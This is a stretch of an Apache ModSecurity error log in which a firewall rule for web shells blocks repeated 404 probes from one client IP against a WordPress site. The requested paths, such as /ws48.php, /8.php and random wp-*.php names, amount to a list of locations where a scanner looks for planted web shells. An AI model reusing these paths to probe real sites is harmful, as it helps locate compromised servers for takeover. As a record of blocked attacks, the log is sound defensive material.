[Sat Apr 25 01:08:29.478821 2026] [:error] [pid 42852:tid 42869] [client 51.107.77.218:63654] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeujjTMEwxhhak_EhMKLQAAAAk4"]
[Sat Apr 25 01:08:31.042481 2026] [:error] [pid 42791:tid 42805] [client 51.107.77.218:5441] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeujj7KmN9doraCEWKXoNwAAAco"]
[Sat Apr 25 01:08:31.820922 2026] [:error] [pid 14989:tid 14991] [client 51.107.77.218:63646] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeujj3hRYjsAsZTO4EOQFwAAAAA"]
[Sat Apr 25 01:08:32.929988 2026] [:error] [pid 42792:tid 42842] [client 51.107.77.218:5417] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeujkNNi9qR4GtafpfHVewAAAhQ"]
[Sat Apr 25 01:08:34.194403 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:63632] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeujknhRYjsAsZTO4EOQJQAAABQ"]
[Sat Apr 25 01:08:34.885766 2026] [:error] [pid 14989:tid 14995] [client 51.107.77.218:5623] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeujknhRYjsAsZTO4EOQKQAAAAQ"]
[Sat Apr 25 01:08:36.004087 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:47503] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeujlHhRYjsAsZTO4EOQMgAAABQ"]
[Sat Apr 25 01:08:37.513060 2026] [:error] [pid 42852:tid 42874] [client 51.107.77.218:5440] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeujlTMEwxhhak_EhMKLRgAAAlM"]
[Sat Apr 25 01:08:38.421646 2026] [:error] [pid 14989:tid 15007] [client 51.107.77.218:5471] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeujlnhRYjsAsZTO4EOQOgAAABA"]
[Sat Apr 25 01:08:39.514900 2026] [:error] [pid 42852:tid 42871] [client 51.107.77.218:65194] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeujlzMEwxhhak_EhMKLSAAAAlA"]
[Sat Apr 25 01:08:40.087283 2026] [:error] [pid 14989:tid 14991] [client 51.107.77.218:5380] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeujmHhRYjsAsZTO4EOQPgAAAAA"]
[Sat Apr 25 01:08:40.675738 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:64234] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeujmHhRYjsAsZTO4EOQQwAAABY"]
[Sat Apr 25 01:08:41.383464 2026] [:error] [pid 14989:tid 15003] [client 51.107.77.218:5490] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeujmXhRYjsAsZTO4EOQRAAAAAw"]
[Sat Apr 25 01:08:42.021621 2026] [:error] [pid 42791:tid 42798] [client 51.107.77.218:60644] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeujmrKmN9doraCEWKXoPgAAAcM"]
[Sat Apr 25 01:08:43.015472 2026] [:error] [pid 42852:tid 42865] [client 51.107.77.218:65169] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeujmzMEwxhhak_EhMKLSwAAAko"]
[Sat Apr 25 01:08:43.917490 2026] [:error] [pid 14989:tid 15000] [client 51.107.77.218:5410] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeujm3hRYjsAsZTO4EOQTgAAAAk"]
[Sat Apr 25 01:08:44.823850 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:64716] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeujnHhRYjsAsZTO4EOQUgAAABQ"]
[Sat Apr 25 01:08:45.387522 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:65193] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeujnXhRYjsAsZTO4EOQVAAAAAY"]
[Sat Apr 25 01:08:46.092177 2026] [:error] [pid 14989:tid 15005] [client 51.107.77.218:5483] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeujnnhRYjsAsZTO4EOQVwAAAA4"]
[Sat Apr 25 01:08:46.963507 2026] [:error] [pid 42852:tid 42872] [client 51.107.77.218:47524] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeujnjMEwxhhak_EhMKLTwAAAlE"]
[Sat Apr 25 01:08:47.594947 2026] [:error] [pid 14989:tid 15003] [client 51.107.77.218:64704] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeujn3hRYjsAsZTO4EOQXQAAAAw"]
[Sat Apr 25 01:08:48.292613 2026] [:error] [pid 42852:tid 42863] [client 51.107.77.218:5581] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eetu.php"] [unique_id "aeujoDMEwxhhak_EhMKLUwAAAkg"]
[Sat Apr 25 01:09:22.436184 2026] [:error] [pid 42791:tid 42812] [client 51.107.77.218:5453] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeujwrKmN9doraCEWKXobwAAAdE"]
[Sat Apr 25 01:09:23.317055 2026] [:error] [pid 14989:tid 14991] [client 51.107.77.218:65241] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeujw3hRYjsAsZTO4EOQrwAAAAA"]
[Sat Apr 25 01:09:23.920973 2026] [:error] [pid 42791:tid 42805] [client 51.107.77.218:64750] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeujw7KmN9doraCEWKXocAAAAco"]
[Sat Apr 25 01:09:24.674804 2026] [:error] [pid 14989:tid 15003] [client 51.107.77.218:64139] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeujxHhRYjsAsZTO4EOQtQAAAAw"]
[Sat Apr 25 01:09:25.302209 2026] [:error] [pid 42792:tid 42828] [client 51.107.77.218:65172] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeujxdNi9qR4GtafpfHVvwAAAgY"]
[Sat Apr 25 01:09:26.044527 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:64240] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeujxnhRYjsAsZTO4EOQvQAAAAs"]
[Sat Apr 25 01:09:26.822560 2026] [:error] [pid 42792:tid 42845] [client 51.107.77.218:64226] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeujxtNi9qR4GtafpfHVwgAAAhc"]
[Sat Apr 25 01:09:27.604882 2026] [:error] [pid 42792:tid 42838] [client 51.107.77.218:64235] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeujx9Ni9qR4GtafpfHVxgAAAhA"]
[Sat Apr 25 01:09:28.332697 2026] [:error] [pid 42792:tid 42823] [client 51.107.77.218:5381] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aeujyNNi9qR4GtafpfHVygAAAgE"]
[Sat Apr 25 01:09:28.946990 2026] [:error] [pid 42852:tid 42879] [client 51.107.77.218:5587] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aeujyDMEwxhhak_EhMKLqgAAAlg"]
[Sat Apr 25 01:09:29.554465 2026] [:error] [pid 14989:tid 15003] [client 51.107.77.218:64241] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aeujyXhRYjsAsZTO4EOQwAAAAAw"]
[Sat Apr 25 01:09:30.313723 2026] [:error] [pid 42852:tid 42859] [client 51.107.77.218:64233] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aeujyjMEwxhhak_EhMKLsAAAAkQ"]
[Sat Apr 25 01:09:31.201806 2026] [:error] [pid 42755:tid 42778] [client 51.107.77.218:65272] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeujy9H7__k0j6aa600BYAAAAJU"]
[Sat Apr 25 01:09:32.142710 2026] [:error] [pid 42792:tid 42838] [client 51.107.77.218:64215] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeujzNNi9qR4GtafpfHV1AAAAhA"]
[Sat Apr 25 01:09:32.899048 2026] [:error] [pid 42792:tid 42829] [client 51.107.77.218:5452] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeujzNNi9qR4GtafpfHV1wAAAgc"]
[Sat Apr 25 01:09:33.919038 2026] [:error] [pid 42852:tid 42855] [client 51.107.77.218:5478] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeujzTMEwxhhak_EhMKLwgAAAkA"]
[Sat Apr 25 01:09:34.735049 2026] [:error] [pid 42755:tid 42767] [client 51.107.77.218:64236] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeujztH7__k0j6aa600BYwAAAIo"]
[Sat Apr 25 01:09:35.489763 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:5591] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeujz3hRYjsAsZTO4EOQzAAAAAM"]
[Sat Apr 25 01:09:37.172127 2026] [:error] [pid 14989:tid 14999] [client 51.107.77.218:63656] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeuj0XhRYjsAsZTO4EOQ1QAAAAg"]
[Sat Apr 25 01:09:38.032799 2026] [:error] [pid 42852:tid 42857] [client 51.107.77.218:5481] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeuj0jMEwxhhak_EhMKL0AAAAkI"]
[Sat Apr 25 01:09:38.738124 2026] [:error] [pid 42852:tid 42865] [client 51.107.77.218:64225] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeuj0jMEwxhhak_EhMKL1AAAAko"]
[Sat Apr 25 01:09:39.507615 2026] [:error] [pid 42755:tid 42780] [client 51.107.77.218:64204] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeuj09H7__k0j6aa600BZgAAAJc"]
[Sat Apr 25 01:09:40.197480 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:5406] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeuj1HhRYjsAsZTO4EOQ4wAAABY"]
[Sat Apr 25 01:09:40.979519 2026] [:error] [pid 42791:tid 42803] [client 51.107.77.218:64246] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeuj1LKmN9doraCEWKXoeAAAAcg"]
[Sat Apr 25 01:09:41.930551 2026] [:error] [pid 42791:tid 42796] [client 51.107.77.218:64203] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeuj1bKmN9doraCEWKXoegAAAcE"]
[Sat Apr 25 01:09:42.626940 2026] [:error] [pid 42791:tid 42795] [client 51.107.77.218:64740] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeuj1rKmN9doraCEWKXofAAAAcA"]
[Sat Apr 25 01:09:43.848713 2026] [:error] [pid 42792:tid 42828] [client 51.107.77.218:47515] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeuj19Ni9qR4GtafpfHV3wAAAgY"]
[Sat Apr 25 01:09:44.751927 2026] [:error] [pid 42755:tid 42769] [client 51.107.77.218:5433] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeuj2NH7__k0j6aa600BbQAAAIw"]
[Sat Apr 25 01:09:45.970658 2026] [:error] [pid 42852:tid 42875] [client 51.107.77.218:65207] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeuj2TMEwxhhak_EhMKL7wAAAlQ"]
[Sat Apr 25 01:09:46.600042 2026] [:error] [pid 42755:tid 42759] [client 51.107.77.218:5400] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeuj2tH7__k0j6aa600BcAAAAII"]
[Sat Apr 25 01:09:47.418446 2026] [:error] [pid 42792:tid 42837] [client 51.107.77.218:5569] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeuj29Ni9qR4GtafpfHV5QAAAg8"]
[Sat Apr 25 01:09:48.367478 2026] [:error] [pid 14989:tid 15014] [client 51.107.77.218:64719] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeuj3HhRYjsAsZTO4EOREAAAABc"]
[Sat Apr 25 01:09:49.204965 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:65196] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aeuj3XhRYjsAsZTO4EOREwAAABQ"]
[Sat Apr 25 01:09:50.522721 2026] [:error] [pid 42792:tid 42826] [client 51.107.77.218:65182] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aeuj3tNi9qR4GtafpfHV6wAAAgQ"]
